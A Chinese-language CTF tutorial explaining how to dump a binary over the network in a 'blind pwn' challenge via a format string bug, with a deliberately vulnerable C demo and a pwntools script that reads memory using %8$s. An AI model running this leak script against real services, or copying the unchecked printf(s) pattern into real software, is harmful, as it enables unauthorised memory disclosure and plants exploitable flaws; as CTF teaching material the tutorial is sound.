有一类题目,不会给任何文件,只给一个ip和端口,这种称为blind pwn(盲pwn),如果这类pwn存在格式化字符串漏洞的话,可以通过一些手法拿到整个二进制程序,这对我们的逆向分析和解题是十分重要的,举个例子:
在2022年的Insomni’hack teaser比赛上,有一道题CovidLe$s,就是一道盲pwn,输入什么就回显什么,但是存在格式化字符串漏洞,并且应该是栈上的,通过不断的尝试是可以大致猜测出栈结构的:
从偏移12开始是栈上的缓冲区,29那里是canary,31是返回地址,根据后三位可以猜到libc大版本
但是到这里也就结束了,无法继续推进了,此时就需要用到接下来将要介绍的方法,将整个程序dump下来才能继续分析
首先来看看dump下来的文件:
可以看到虽然不是很完整,但是大致的逻辑结构是能看到的,如果不dump下来的话,就不可能拿到这道题目的密钥,也就不可能做出来这道题,所以有些时候dump文件是必要的
dump的原理其实也很简单,其实就是利用格式化字符串的%n$p这类指令进行任意地址读
由于比赛已经结束,端口已经关闭,所以我们来自己写一个小demo:
#include<stdio.h>
#include<stdlib.h>
int main()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
char s[0x100];
memset(s,0,0x100);
while(1)
{
read(0,s,0x50);
if(!strcmp(s,"Ayaka"))system("/bin/sh");
printf(s);
}
}
如果这是一道真实的题,那么Ayaka这个字符串如果不去dump文件,我们是不会得到的。
一开始我们要手工做一些准备工作:
可以看到我们偏移为6
我们要dump的东西是程序的text段,其起始位置在_start,所以我们要先把_start的地址确定下来
这里要利用一个特点,就是_start函数地址会在栈中出现多次,所以要先打印一部分栈空间,然后找到明显属于程序text段并且出现多次的地址,一般来说就是_start的地址
这里能看到0x400630明显是text段的地址,并且在42和57位置都出现了,所以这里应该就是_start()
接下来就是dump,在dump的时候可以直接用%s,因为%s是\x00截断,所以只要出现截断,直接当做是\x00,然后把地址+1即可
至于dump到哪里停止,可以把连续八字节的\x00当做结束标志
这个demo没有开pie,所以直接从0x400000开始dump就行
我这里顺带把0x600000那里也dump了一下,这个demo程序的结构比较简单,可以看到结果基本除了符号表之外都有,可以很清楚的看到程序结构
如果需要dump其他复杂一些的程序,可以只dump前面的,甚至只dump text段,都是可以解析出函数的,只不过可读性会差一些。
dump脚本如下:
from re import L
from pwn import *
from ctypes import *
from Ayaka import *
import base64
from Crypto.Util.number import *
#context.log_level = 'debug'
context.arch='amd64'
io = process('./test')
#io = remote('52.59.124.14',10200)
#libc = ELF('./libc-2.31.so')
#elf=ELF("./pwn")
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
start=0x400630
base=0x400000
data=0x600000
size=0x1000
TEXT=''
while True:
if base>=0x401000 and base<data:
TEXT+='\x00'
base+=1
continue
io.sendline("LEAK---->%8$s|*|"+p64(base))
ru("LEAK---->")
s=io.recvuntil('|*|',drop=True)
TEXT+=s
base+=len(s)
print(len(TEXT))
if len(s)==0:
TEXT+='\x00'
base+=1
if base>=0x601000:
break
""" if TEXT[-9:-1]=='\x00'*8 and base > start:
break """
print("leak ",len(TEXT),"bytes successfully")
with open('dumpfile','wb') as f:
f.write(TEXT)
#irt()